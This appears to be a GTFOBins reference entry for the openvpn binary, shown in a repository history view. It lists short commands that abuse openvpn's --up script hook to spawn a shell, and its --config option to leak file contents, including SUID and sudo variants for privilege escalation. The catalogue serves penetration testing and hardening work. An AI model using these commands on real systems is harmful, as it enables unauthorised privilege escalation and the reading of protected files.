GTFOBins.github.io/_gtfobins/openvpn.md

26 lines
889 B
Markdown
Raw Normal View History

2021-02-20 00:33:43 +01:00
---
functions:
shell:
- code: |
openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
2021-02-20 00:52:04 +01:00
file-read:
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
code: |
LFILE=file_to_read
openvpn --config "$LFILE"
2021-02-20 00:33:43 +01:00
suid:
- code: |
./openvpn --dev null --script-security 2 --up '/bin/sh -p -c "sh -p"'
2021-02-20 00:52:04 +01:00
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
code: |
LFILE=file_to_read
./openvpn --config "$LFILE"
2021-02-20 00:33:43 +01:00
sudo:
- code: |
sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
2021-02-20 00:52:04 +01:00
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
code: |
LFILE=file_to_read
sudo openvpn --config "$LFILE"
2021-02-20 00:33:43 +01:00
---